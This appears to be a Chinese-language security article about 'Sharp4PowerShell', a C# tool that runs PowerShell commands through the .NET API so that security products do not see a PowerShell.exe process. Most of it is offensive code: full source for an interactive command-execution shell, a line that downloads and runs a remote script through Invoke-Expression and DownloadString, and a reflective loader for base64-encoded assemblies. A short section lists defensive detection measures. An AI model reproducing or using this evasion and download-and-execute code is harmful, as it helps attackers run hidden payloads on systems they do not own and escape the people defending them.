Sharp4PowerShell：通过调用API接口模拟实现PowerShell的工具

1. 概述

Sharp4PowerShell是一种通过调用.NET API接口来模拟实现PowerShell功能的工具，其主要目的是规避安全防护软件对PowerShell.exe进程的检测，使攻击者能够更隐蔽地执行任务。

2. 核心技术

2.1 Invoke-Expression

Invoke-Expression是PowerShell中的一个核心命令，用于执行字符串内容中包含的命令、表达式或脚本。

基本语法

Invoke-Expression [-Command] <String> [<CommonParameters>]

• -Command: 需要执行的字符串内容，可以是完整命令或脚本
• CommonParameters: 可选参数，如-Verbose、-Debug等，用于控制执行时的调试和输出行为

示例

Invoke-Expression "calc"  # 执行计算器

动态命令执行

$inputCmd = Read-Host "请输入你想执行的命令"
Invoke-Expression $inputCmd

2.2 PowerShell.AddScript

PowerShell.AddScript是.NET API提供的接口，用于将PowerShell脚本添加到PowerShell对象的脚本管道中。

基本用法

using (PowerShell powerShell = PowerShell.Create())
{
    powerShell.AddScript("Invoke-Expression 'whoami'");
    Collection<PSObject> results = powerShell.Invoke();
    foreach (PSObject result in results)
    {
        Console.WriteLine(result.ToString());
    }
}

执行流程

1. 通过PowerShell.Create()创建PowerShell对象
2. 使用AddScript方法添加要执行的脚本
3. 调用Invoke()方法执行脚本
4. 处理返回的结果

3. 实现原理

Sharp4PowerShell的核心思想是：

1. 不直接调用PowerShell.exe进程
2. 通过.NET的System.Management.Automation命名空间提供的API
3. 使用PowerShell类创建PowerShell运行环境
4. 通过AddScript方法添加要执行的命令
5. 使用Invoke方法执行命令并获取结果

4. 防御规避优势

这种技术具有以下优势：

• 不创建PowerShell.exe进程，规避基于进程名的检测
• 可以在任意.NET应用程序中嵌入执行
• 可以与其他.NET代码混合使用，增加隐蔽性
• 能够绕过一些基于PowerShell.exe行为的检测规则

5. 完整示例代码

using System;
using System.Collections.ObjectModel;
using System.Management.Automation;

class Sharp4PowerShell
{
    static void Main(string[] args)
    {
        Console.WriteLine("Sharp4PowerShell模拟器");
        
        while(true)
        {
            Console.Write("PS> ");
            string command = Console.ReadLine();
            
            if(command.ToLower() == "exit")
                break;
                
            ExecutePowerShellCommand(command);
        }
    }
    
    static void ExecutePowerShellCommand(string command)
    {
        try
        {
            using (PowerShell powerShell = PowerShell.Create())
            {
                // 使用Invoke-Expression执行命令
                powerShell.AddScript($"Invoke-Expression '{command}'");
                
                // 执行并获取结果
                Collection<PSObject> results = powerShell.Invoke();
                
                // 输出结果
                foreach (PSObject result in results)
                {
                    Console.WriteLine(result.ToString());
                }
                
                // 输出错误信息
                if(powerShell.Streams.Error.Count > 0)
                {
                    foreach(var error in powerShell.Streams.Error)
                    {
                        Console.WriteLine($"错误: {error}");
                    }
                }
            }
        }
        catch(Exception ex)
        {
            Console.WriteLine($"执行错误: {ex.Message}");
        }
    }
}

6. 扩展应用

6.1 文件下载执行

powerShell.AddScript("Invoke-Expression (New-Object Net.WebClient).DownloadString('http://example.com/script.ps1')");

6.2 反射加载

powerShell.AddScript(@"
    $assembly = [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('...'));
    $type = $assembly.GetType('Namespace.ClassName');
    $method = $type.GetMethod('MethodName');
    $method.Invoke($null, @());
");

7. 防御检测建议

对于防御方，可以采取以下措施检测此类技术：

1. 监控System.Management.Automation命名空间的使用
2. 检测.NET应用程序中突然出现的PowerShell脚本执行行为
3. 关注Invoke-Expression等高风险命令的使用
4. 实施脚本块日志记录和模块日志记录

8. 总结

Sharp4PowerShell技术通过调用.NET API实现了PowerShell功能的模拟，具有较高的隐蔽性。理解其工作原理对于攻击和防御都具有重要意义。防御方需要超越传统的进程监控，深入到API调用层面进行检测。